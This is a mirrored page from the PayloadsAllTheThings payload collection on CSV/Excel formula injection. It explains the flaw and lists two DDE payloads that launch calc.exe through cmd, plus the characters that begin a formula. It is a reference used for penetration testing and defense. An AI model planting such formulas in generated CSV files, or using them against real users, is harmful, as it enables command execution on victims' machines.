mirror of
https://github.com/swisskyrepo/PayloadsAllTheThings.git
synced 2024-12-21 03:46:10 +00:00
32 lines
1.2 KiB
Markdown
32 lines
1.2 KiB
Markdown
# CSV Excel formula injection
|
||
|
||
Many web applications allow the user to download content such as templates for invoices or user settings to a CSV file. Many users choose to open the CSV file in either Excel,Libre Office or Open Office. When a web application does not properly validate the contents of the CSV file, it could lead to contents of a cell or many cells being executed.
|
||
|
||
## Exploit
|
||
|
||
Basic exploit with Dynamic Data Exchange
|
||
|
||
```powershell
|
||
DDE ("cmd";"/C calc";"!A0")A0
|
||
@SUM(1+1)*cmd|' /C calc'!A0
|
||
```
|
||
|
||
Technical Details of the above payload:
|
||
cmd is the name the server can respond to whenever a client is trying to access the server
|
||
/C calc is the file name which in our case is the calc(i.e the calc.exe)
|
||
!A0 is the item name that specifies unit of data that a server can respond when the client is requesting the data
|
||
|
||
Any formula can be started with
|
||
|
||
```powershell
|
||
=
|
||
+
|
||
–
|
||
@
|
||
```
|
||
|
||
## Thanks to
|
||
|
||
* [OWASP - CSV Excel Macro Injection](https://owasp.org/index.php/CSV_Excel_Macro_Injection)
|
||
* [Google Bug Hunter University - CSV Excel formula injection](https://sites.google.com/site/bughunteruniversity/nonvuln/csv-excel-formula-injection)
|
||
* [Comma Separated Vulnerabilities - James Kettle](https://www.contextis.com/resources/blog/comma-separated-vulnerabilities/) |